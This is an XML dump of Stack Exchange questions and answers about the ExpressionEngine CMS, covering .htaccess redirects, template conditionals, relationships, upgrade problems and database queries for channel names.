  <row Id="12181" PostTypeId="2" ParentId="12168" CreationDate="2013-07-23T06:29:32.253" Score="0" Body="&lt;p&gt;Try using &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_globals($tagdata)&lt;/code&gt; in your fieldtype code&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-07-23T06:29:32.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12182" PostTypeId="2" ParentId="12154" CreationDate="2013-07-23T09:58:13.997" Score="1" Body="&lt;p&gt;I think, you are using &quot;FreeForm Pro&quot; and having &quot;Select&quot; field type for the country. And you are listing the countries within &quot;Field Options&quot; of field settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should select &quot;Value/Label List&quot; from &quot;List type&quot; and for the first option put label like &quot;-- Select Country --&quot; with empty value. Now your country validation would work fine as the first/default country option will be submitted empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Share your further findings.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-23T09:58:13.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12183" PostTypeId="1" AcceptedAnswerId="12197" CreationDate="2013-07-23T10:13:02.840" Score="1" ViewCount="1097" Body="&lt;p&gt;I'm using the following code in my .htaccess in order to redirect to the www version of the website and also to add a trailing slash by default. It all seems to work, but I wondered is this the most efficient way of doing it. I'm no expert on this side of things, so I've bolted this lot together from the official EE docs and a couple of separate articles I found on the subject. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&#xA;RewriteCond %{REQUEST_METHOD} !=POST&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.+[^/])$ /$1/ [R=301,L]&#xA;&#xA;RewriteCond $1 !^(admin|assets|uploads|favicon\.ico|robots\.txt|index\.php) [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ index.php?/$1 [L]&#xA;&#xA;AddHandler php5-script .php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should I (if possible) combine the rules? At the minute you can end up with two 301 redirects if you go to the non www version of the website without the trailing slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My motivation for making these changes is to improve the general SEO of the site, so any tips are most welcome.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-07-23T17:32:38.340" Title="Adding trailing slashes and redirecting to www in .htaccess" Tags="|apache|.htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12184" PostTypeId="2" ParentId="12117" CreationDate="2013-07-23T10:18:45.967" Score="1" Body="&lt;p&gt;It's my personal advice not to mix up the EE tags with PHP code. There may cause issue because of &quot;PHP Parsing Stage&quot; sometime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you can use PHP code like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDITED:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $res = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('cat_name')-&amp;gt;where('group_id', 4)-&amp;gt;get('categories')-&amp;gt;result_array();&#xA;    foreach ($res as $r)&#xA;    {&#xA;        $entryregionArr[] = $r['cat_name'];&#xA;    }&#xA;&#xA;    if (in_array('Africa', $entryregionArr)) {&#xA;        echo &quot;Africa is in this array&quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-07-24T18:10:49.113" LastActivityDate="2013-07-24T18:10:49.113" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12185" PostTypeId="1" AcceptedAnswerId="12188" CreationDate="2013-07-23T10:27:05.130" Score="1" ViewCount="46" Body="&lt;p&gt;I have to build a website using the popular Expression Engine CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to get my head around how channels and channel fields work. The problem I now have is that when an admin user adds a new product I would like for them to be able to select a retailer and then add a unique url for that retailer for the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that can be achieved using the Expression Engine CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a look at Playa but I am unsure if this is what I need for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1812" LastEditorUserId="389" LastEditDate="2015-11-18T17:21:58.403" LastActivityDate="2015-11-18T17:21:58.403" Title="Product to Retailers (one to many) in ExpressionEngine" Tags="|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12187" PostTypeId="1" AcceptedAnswerId="12189" CreationDate="2013-07-23T12:40:46.973" Score="0" ViewCount="29" Body="&lt;p&gt;I need to do a check like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif {related_entries id=&quot;privacy&quot;}{entry_id}{/related_entries} == 48}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the template errors out when there is no related entry. How do I do this test properly?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="343" LastEditDate="2013-07-23T17:20:44.050" LastActivityDate="2013-07-23T17:20:44.050" Title="How to test for the entry_id of a related entry?" Tags="|templates|template-scripting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12188" PostTypeId="2" ParentId="12185" CreationDate="2013-07-23T13:03:55.870" Score="1" Body="&lt;p&gt;So the retailer has their own page, or the &quot;unique url&quot; lists all products by that retailer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playa is for linking entries, 1 entry to many. using it to link 1 to 1 is a bit overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the information provided, I say you want to use Categories. So that when creating a product, you assign it a category (and the categories are the retailers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the retailers have their own pages and not just used to group products, then you could just associate an entry in the retailers channel to the relevant category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &quot;Joe Blogs Outlet&quot; manufactures &quot;Widgets&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Widgets is assigned the category &quot;Joe Blogs Outlet&quot;&#xA;Going to /products/joe-blogs-outlet lists all the products from that retailer (this can be done a variety of ways, one of the easiest is to capture it in template group &quot;products&quot; and use the index template, then use &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; to identify the category in one of URL segments&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The retailer category could have additional basic fields assigned to it to display details about the retailer in this instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you wanted the retailer to have their own &quot;proper&quot; page and EE entry instead of storing information in the Category fields, you could have another channel called &quot;retailers&quot;, create an entry called &quot;Joe Blogs Outlet&quot; and assign it the same retailer category as the product, then you'll be able to link the product to the retailer and both will have their own entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;EE relationships&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-23T13:03:55.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12189" PostTypeId="2" ParentId="12187" CreationDate="2013-07-23T13:20:10.033" Score="2" Body="&lt;p&gt;After the parsing of the related entry, if there's no related entry, your conditional will became this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif == 48}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, this doesn't make any sense. So, add quotation marks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif &quot;{related_entries id='privacy'}{entry_id}{/related_entries}&quot; == 48}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the parsing of the related entry, if there's no related entry, your conditional you became this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif &quot;&quot; == 48}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it'll work fine.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-23T13:20:10.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12190" PostTypeId="2" ParentId="12185" CreationDate="2013-07-23T13:40:22.587" Score="0" Body="&lt;p&gt;Ask yourself this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) is a product likely to have a relationship with only one retailer, or multiple?&#xA;(2) are custom category fields going to be enough to display what needs to be presented about each retailer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the answer to (1) is multiple, Playa will be your best bet (I've used it before even when there is only a one to one relationship because its filtering options are considerably better than a regular relationship field and the client has an easier time understanding it). And if (2) is no, channel entries are definitely the way to go, whether with Playa or a standard relationship field. Channel entries will give you longer term flexibility in what you present about the retailer(s), since you could add any number of amazing custom fields to deliver great information on the front end thanks to the extensibility of the fieldtypes from the community.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-23T13:40:22.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12191" PostTypeId="2" ParentId="11929" CreationDate="2013-07-23T14:02:13.680" Score="0" Body="&lt;p&gt;Per the error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The uploaded file exceeds the maximum allowed size in your PHP configuration file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So you need to increase the maximum upload size in your PHP configuration file. If you don't have access to this, ask your web host.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-07-23T14:02:13.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12192" PostTypeId="1" CreationDate="2013-07-23T14:28:54.763" Score="1" ViewCount="156" Body="&lt;p&gt;Can you vote 'up' a review using Solspace Rating so that it'd do something like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;'5 out of 8 people found this review useful'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a good look through the docs but don't see anything like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2013-08-27T20:02:26.537" Title="Expression Engine + Solspace Rating Module - &quot;Vote Up&quot; a customer review" Tags="|solspace-rating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12193" PostTypeId="2" ParentId="12192" CreationDate="2013-07-23T14:31:40.853" Score="1" Body="&lt;p&gt;It would appear so! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/rating/rating_vote_stats/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/rating/rating_vote_stats/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does exactly what I need.&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2013-07-23T14:31:40.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12194" PostTypeId="1" AcceptedAnswerId="13120" CreationDate="2013-07-23T15:10:56.940" Score="2" ViewCount="71" Body="&lt;p&gt;So after an entire laundry list of stuff that has gone wrong,  I have finally “successfully” migrated a client’s old EE site to the latest version (at their insistence).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most vexing problem, as of this moment, is that the entire site has imploded all over itself. Insofar as I can tell, functionality remains nominally intact. However, the CSS is now a complete train wreck in spite of the fact that all of the styles are seemingly being referenced and are intact. I can access them through the template manager and make changes just fine..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why did this upgrade ruin everything? Is there a way to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client is, naturally, wholly displeased with this in spite of advanced warnings rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the functionality is also broken, like drop down lists and so on. The site can be seen here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lenoirmemorial.org/&quot; rel=&quot;nofollow&quot;&gt;http://lenoirmemorial.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a fix for this, or am I really going to have to try and rebuild all of the styles and functionality for a website I did not help create? My employers do not have the original employee(s) or design templates for the site- so I do not even have a real reference to go off of in the hopes of rebuilding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also instances of tags being used not supported by EE2, and I've not any idea where they originate from (google has not helped). Such as {exp:convert_to_title_case}: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;{if segment_2}{exp:convert_to_title_case}{segment_2} &amp;amp;raquo; {/exp:convert_to_title_case}{/if}{if segment_1}{exp:convert_to_title_case}{segment_1} | {/exp:convert_to_title_case}{/if}Lenoir Memorial Hospital, Kinston, North Carolina&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've made database backups and retained all of the old EE files and folders.. Is there a viable way to rollback to an earlier version or am I stuck?&lt;/p&gt;&#xA;" OwnerUserId="1813" LastActivityDate="2013-08-24T02:28:01.607" Title="Upgraded to 2.6.x from 1.6.x - Site functionality and styles all broken" Tags="|ee2-upgrades|css|html|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12195" PostTypeId="1" CreationDate="2013-07-23T15:20:56.670" Score="3" ViewCount="63" Body="&lt;p&gt;Any ideas on implementing a city/state combination check before order submission? Client has a few orders with cities and zip codes that don't exist in the state they submitted. Example: Atlanta, NY, 30346.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first step was to ensure that all fields were clearly labeled and conspicuous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately an order came in last week with a city/state mismatch. It may have something to do with my client's userbase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Pretty sure it will involve an extension using the store_order_submit_start hook and a rather large database, but that's all I have right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Bobby&lt;/p&gt;&#xA;" OwnerUserId="947" LastActivityDate="2013-07-23T20:38:41.340" Title="City / State Combination Verifier? (Exp:resso Store)" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12196" PostTypeId="1" AcceptedAnswerId="12202" CreationDate="2013-07-23T17:23:32.317" Score="1" ViewCount="38" Body="&lt;p&gt;I am new to expression engine and following the tutorial on creating a module here:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;issue is, there is that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tools_model::get_files()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is no longer valid in EE 2.6. How do I get the files list in the 2.6 version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Bharath&lt;/p&gt;&#xA;" OwnerUserId="1814" LastActivityDate="2013-07-23T21:45:46.643" Title="get_files() in 2.6 version" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12197" PostTypeId="2" ParentId="12183" CreationDate="2013-07-23T17:32:38.340" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://gist.github.com/pauloelias/3438705&quot; rel=&quot;nofollow&quot;&gt;Here's a gist&lt;/a&gt; I've made that you can comment/uncomment out the bits you need. To date I haven't found the need to combine rules and I haven't found many examples that actually do combine rules. I'd love to see them if find some though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, I normally move the AddHandler stuff up in the .htaccess and keep the rewrite stuff below it.&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2013-07-23T17:32:38.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12198" PostTypeId="2" ParentId="12194" CreationDate="2013-07-23T19:09:03.360" Score="0" Body="&lt;p&gt;For the {exp:convert_to_title_case} you could install CE String &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/custom_methods&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/custom_methods&lt;/a&gt; and use its to_title method - just switch out the tags in your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm seeing &quot;&lt;em&gt;The system path does not appear to be set correctly. Please open your path.php file and correct the path.&lt;/em&gt;&quot; at the mentioned URL so it's hard to say what's going on. I feel your pain bro, 1-&gt;2 updates can be a PITA.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-07-23T19:09:03.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12199" PostTypeId="2" ParentId="12195" CreationDate="2013-07-23T20:38:41.340" Score="3" Body="&lt;p&gt;You would need to either write an extension as you have suggested or there are some javascript libraries available too. In the past I have used am API called &lt;a href=&quot;http://daspecster.github.io/ziptastic/index.html&quot; rel=&quot;nofollow&quot;&gt;Ziptastic&lt;/a&gt;&#xA;which requires that the user enters their zip code then it will find the matching city/state/country for the particular address. The times that I have used it the only required shipping requirements were in the US so I can not speak for how it works for international shipping but it is a start instead of trying to manage your own DB of addresses.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-23T20:38:41.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12200" PostTypeId="1" AcceptedAnswerId="12201" CreationDate="2013-07-23T20:47:33.910" Score="0" ViewCount="189" Body="&lt;p&gt;We're slowly introducing sections of our site into EE. First is the blog, then other sections will follow. As a result I need to place EE in the web root, but I also need to leave existing directories alone and allow access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numerous people that touch the files in this web root and I don't want for them to have to add new directory names to the &lt;code&gt;.htaccess&lt;/code&gt; file every time they add new directories. People will inevitably forget they have to do this and seek support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a seamless way to have EE automagically recognize when we need to load static content from a directory vs. a channel entry?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-07-23T21:29:14.447" Title="How can I tell EE to ignore certain directories?" Tags="|channel-entries|htaccess|static|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12201" PostTypeId="2" ParentId="12200" CreationDate="2013-07-23T21:29:14.447" Score="5" Body="&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot;&gt;Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically if the request is not a folder or not a file, then add index.php and let EE control it, otherwise it'll be served by whatever is in the relevant path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure none of your other htaccess entries conflict with this though and that the &quot;other&quot; files in those folders don't try to rewrite back to the EE root.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-23T21:29:14.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12202" PostTypeId="2" ParentId="12196" CreationDate="2013-07-23T21:45:46.643" Score="0" Body="&lt;p&gt;Looks like you lucked out: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#id2&quot; rel=&quot;nofollow&quot;&gt;Changelog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's still in use throughout EE code (for example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('addons');&#xA;$fts = ee()-&amp;gt;addons-&amp;gt;get_files('fieldtypes');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Defined in /system/expressionengine/libaries/Addons.php (line 50 v1.6.1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...or perhaps the other one in /system/expressionengine/models/file_model.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;model('file_model');&#xA;$files = ee()-&amp;gt;file_model-&amp;gt;get_files($dir['id'], $params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But not being in the documentation or formally available to developers can mean that Ellis Labs can change it in the future and therefore render your module broken, so I appreciate you're following the tutorial (which obviously needs updating) I wouldn't use the above function in a commercial environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless, like the tutorial, they've just not updated the documentation to refer to the function...&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-23T21:45:46.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12203" PostTypeId="1" CreationDate="2013-07-24T00:09:24.150" Score="1" ViewCount="1121" Body="&lt;p&gt;I'm trying to get a folder of SVG images (12,000 clip art images - don't ask) to show up in the File Manager.  If the folder it set to any file, they obviously appear, but when it's set to &quot;image only&quot; the SVGs don't show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the obvious thing of adding 'svg' =&gt;'image/svg' to config/mimes.php this means that they are able to be uploaded.  However this still doesn't mean that EE treats them as images.   Is there somewhere else I have to add svg to get EE to treat them as images?&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="255" LastEditDate="2013-07-24T10:28:14.380" LastActivityDate="2013-07-24T10:28:14.380" Title="Adding SVGs as an image type" Tags="|file-uploads|image|file-manager|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12204" PostTypeId="1" AcceptedAnswerId="12208" CreationDate="2013-07-24T04:35:42.470" Score="0" ViewCount="230" Body="&lt;p&gt;I'm trying to write a custom SQL query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;&#xA;    SELECT channel_short_name&#xA;    FROM what_table_is_it_in&#xA;    WHERE entry_id = '{embed:entry_id}'&quot;&#xA;}&#xA;{channel_short_name}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's inside an embed template with an entry_id passed in as {embed:entry_id}. I just need it to output the channel short name for that channel of that entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What database table is this in? I can't find it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to replicate the example at the very bottom of this page: &lt;a href=&quot;http://www.solspace.com/docs/rating/entries/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/rating/entries/&lt;/a&gt; except I want to get channel_short_name instead of entry title.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-07-24T08:09:09.507" Title="Where in the database do I find channel_short_name" Tags="|query|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12205" PostTypeId="1" CreationDate="2013-07-24T04:46:09.027" Score="1" ViewCount="57" Body="&lt;p&gt;I have been trying to import 3k+ entries using the Solspace Importer, and each entry is being imported into a channel managed by Structure as listings. When I try to manually edit one of these imported entries, the Structure URL field is blank until I save it. Is there a way to have the Structure URL updated for all these entries without having to manually save each one?&lt;/p&gt;&#xA;" OwnerUserId="1815" LastActivityDate="2013-07-24T04:46:09.027" Title="Using Solspace's Importer, how to update Structure-managed listings?" Tags="|structure|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12206" PostTypeId="1" AcceptedAnswerId="12266" CreationDate="2013-07-24T05:01:50.673" Score="0" ViewCount="49" Body="&lt;p&gt;Is {status} not an available variable in Rating:Entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a parameter but it doesn't seem to be available as a variable - I've tried using it in a conditional and it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace, any comment? Any workaround?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating a page to show a logged in member's ratings but I want to show closed ratings and well as open ratings and display an extra &quot;Pending approval&quot; message on closed ratings only. Need status as a variable to do this.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-07-25T18:14:17.907" Title="{status} not available as variable in Solspace Rating:Entries?" Tags="|solspace|solspace-rating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12207" PostTypeId="1" CreationDate="2013-07-24T05:25:24.283" Score="2" ViewCount="401" Body="&lt;p&gt;Following a recent upgrade to EE 2.6.1 I am having trouble with relationship navigation content showing up correctly &lt;a href=&quot;http://hpgresources.com/customer-services/services-overview&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The content in question is the right sidebar where is says: Sub Navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Subnavs --&amp;gt;                                                         &#xA;                        &amp;lt;div class=&quot;box&quot;&amp;gt; &#xA;                            &amp;lt;h2&amp;gt;Sub Navigation&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;ul class=&quot;nav&quot;&amp;gt;&#xA;                                {exp:channel:entries channel=&quot;customer_services&quot; orderby=&quot;entry_date&quot; dynamic=&quot;off&quot; sort=&quot;asc&quot;}&#xA;                                {if parent_page==&quot;0&quot;}                   &#xA;                                    &amp;lt;li&amp;gt;&#xA;                                        &amp;lt;a href=&quot;{title_permalink=customer-services}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                                        {reverse_related_entries weblog=&quot;customer_services&quot;}&#xA;                                            {if count==1}&amp;lt;ul&amp;gt;{/if}&#xA;                                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink=customer-services}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                            {if count==total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;                                        {/reverse_related_entries}&#xA;                                    &amp;lt;/li&amp;gt;&#xA;                                {/if}&#xA;                                {/exp:channel:entries} &#xA;                            &amp;lt;/ul&amp;gt; &#xA;                        &amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any guidance for getting this to display correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-10-05T12:51:37.800" Title="Trouble with Relationship content displaying" Tags="|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12208" PostTypeId="2" ParentId="12204" CreationDate="2013-07-24T07:41:14.450" Score="1" Body="&lt;p&gt;Channel titles are stored in the (exp_)channels table in the channel_name column, so you'll have to do a join to get the information you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT c.channel_name as channel_shortname FROM exp_channels as c LEFT JOIN exp_channel_titles as ct on c.channel_id = ct.channel_id WHERE ct.entry_id = '14'&quot;}&#xA;    {channel_shortname}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, I would use a regular channel entries loop instead of a query loop. I don't think it would produce much more queries if you disable everything.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot; entry_id=&quot;{embed:entry_id}&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;    {channel_short_name}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-07-24T08:09:09.507" LastActivityDate="2013-07-24T08:09:09.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
